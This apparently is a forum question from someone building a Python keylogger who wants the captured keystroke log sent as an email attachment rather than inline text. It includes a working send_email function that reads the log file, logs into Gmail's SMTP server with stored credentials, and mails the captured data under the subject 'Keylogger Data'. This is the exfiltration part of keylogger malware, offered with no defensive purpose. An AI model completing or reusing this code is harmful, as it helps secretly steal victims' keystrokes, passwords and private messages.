I'm stuck in a problem. Basically I'm building a Keylogger for Python which sends the captured data to a certain email. As of now, the keylogger sends the data as a message in the email which I don't really like. I'm saving the data on a "Log.txt" file in the path folder and I would like to send the "log.txt" file as an attachment in the mail. I checked out several similar problems faced by other users but nothing seems to work for me. Please help me out here!
def send_email(self):
with open(folder, "r") as file:
data = file.read()
server = smtplib.SMTP("smtp.gmail.com", 587) # define server
server.starttls()
server.ehlo()
server.login(sender_address, sender_password) # login
email_message = EmailMessage()
email_message["From"] = sender_address
email_message["To"] = receiver_address
email_message['Date'] = formatdate(localtime=True)
email_message["Subject"] = "Keylogger Data"
email_message.set_content(data)
server.send_message(email_message)
server.close()
self.start_time = time.time()